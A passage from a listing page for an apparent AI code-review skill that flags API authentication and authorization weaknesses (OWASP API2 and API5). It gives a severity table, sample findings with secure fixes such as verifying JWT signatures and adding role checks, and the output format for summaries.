| **High** | Authentication present but JWT not properly verified (no algorithm whitelist, no expiry check) |
| **Medium** | Role check exists but fails open, or is performed post-logic instead of at entry point |
| **Low** | Missing audit logging on admin routes, or rate limiting absent on auth endpoints |

### Example Output

```
Auth Risk, OWASP API2:2023
File: src/middleware/auth.js:12
Pattern: jwt.decode() used instead of jwt.verify(), token signature not validated
Risk: Attacker can forge arbitrary tokens with any user ID and gain full access
Severity: Critical
Fix:
  const decoded = jwt.verify(token, process.env.JWT_SECRET, {
    algorithms: ['HS256'],
    issuer: process.env.JWT_ISSUER,
    audience: process.env.JWT_AUDIENCE,
  });
```

```
BFLA Risk, OWASP API5:2023
File: src/routes/admin.js:45
Pattern: DELETE /admin/users/:id has authenticate middleware but no role check
Risk: Any authenticated user (including regular users) can delete other user accounts
Severity: High
Fix:
  router.delete('/admin/users/:id', authenticate, requireRole('admin'), auditLog('delete-user'), deleteUser);
```

### Summary Line

After all findings in a file:

```
Summary: <N> findings, <n> Critical, <n> High, <n> Medium, <n> Low (API2: <n>, API5: <n>)
```

If all checks pass:

```
Auth/RBAC Check, PASSED
File: <filename>:<line range>
Authentication and role-based access control properly enforced via <mechanism described>.

Powered by APIsec · apisec.ai
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.